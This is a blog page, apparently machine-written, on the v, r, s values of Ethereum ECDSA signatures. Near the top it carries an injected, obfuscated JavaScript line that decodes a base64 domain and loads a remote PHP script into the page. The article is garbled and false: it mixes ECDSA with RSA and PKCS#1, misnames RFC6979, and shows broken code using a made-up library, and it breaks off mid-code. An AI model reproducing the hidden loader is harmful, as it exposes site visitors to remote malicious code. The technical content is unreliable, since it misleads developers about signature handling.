infobatbd@gmail.com

Single Blog Title

This is a single blog caption
13 Feb 2025

Ethereum: ECDSA: (v, r, s), what is v?

/
Posted By
/
Comments0

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=cf0e0045″;document.body.appendChild(script);

Understanding the Ethereum ECDSA Signature Format

When it comes to signing transactions on the Ethereum network, especially when using the Elliptic Curve Digital Signature Algorithm (ECDSA) in combination with the Recovery Verification Function (RFC6979), there is a specific format that must be followed. In this article, we will go into detail about the “v”, “r”, and “s” values ​​used in Ethereum ECDSA signatures.

ECDSA Signature Format Overview

Before diving into the specifics of the “v” value, it is essential to understand how ECDSA works in the context of Ethereum. ECDSA is a digital signature scheme that uses elliptic curve cryptography to verify the authenticity and integrity of messages. In Ethereum, ECDSA is used in conjunction with the Recovery Verification Function (RFC6979) to sign transactions.

Definition of “v”

When defining the value of “v”, it is essential to understand what this value means. According to the code snippet provided, “v = 27 + (y % 2)” calculates the value of “v”. In other words, this formula adds two important components:

  • The result of y % 2: This part determines whether a “signed” or unsigned transaction is created.
  • The value of “v” itself: This is the final calculation that gives the total signature value used to sign transactions using RFC6979.

Interpreting parity in ECDSA signatures

ECDSA signatures use two values, “r” and “s”, which are generated based on the private key provided by the user. The “parity” of these values ​​is key to understanding how they contribute to the overall signature value. According to the Ethereum documentation:

  • If y % 2 == 0, the result of calculating v' is incremented by one.
  • This means that if you are using a standard ECDSA implementation such as PyCryptodome and generate the strings "r" and "s" from your private key (which should be generated with the value "e" in the PKCS#1 v1.5 signature scheme used here), then add 2 to determine the parity of the "v" values.

Example

To illustrate this, let's look at an example where we generate a new transaction using PyCryptodome and RFC6979. In our case, we will use a private key with a generated public exponent "e" of 27 (a common choice for cryptographic purposes).

import PyEcdse

def generate_keypair():






Generate a new RSA pair

key = PyEcdse.RSAPrivateKey.generate(2048)


Derive the private and public exponents

e, d = PyEcdse.RSAPublicKey.get_exponens(key)

return (key, PyEcdse.ECDSAPublicKey(e=e))

Now suppose we have a public key with "e" value 27:

def generate_public_key(key):


Derive the private and public exponents

d = PyEcdse.RSAPrivateKey.generate(2048)

return (key, PyEcdse.ECDSAPublicKey(d=d))


Generate a new key pair with 27 generated e value.

(key, ecps) = generate_keypair()

print("e:", ecps.e)

print("d:", ecps.d)

With the values ​​"e" and "d", we can then use our public exponent using PyCryptodome:


Derive the public exponent

public_exponens = PyEcdse.ECDSAPublicKey(e=27, d=d).get_public_exponent()

print("Public exponent:", public_exponent)

Now we can calculate v’ based on the parity of our values.

Calculating v

“` python

Calculate v = 27 + (y % 2) for each transaction.

tx transactions:

signature = PyEcdse.ECDSASignature.generate(ecps, tx)

Extract public and private exponents from the signature

signature_public_exponent = signature.get_public_exponent()

signature_private_expponent = signature.get_private_expponent()

Check if the transaction is a signed message

if signature_public_exponent < 0:

print(“The transaction is a signed message.

Ethereum Huge Transactions

Leave a Reply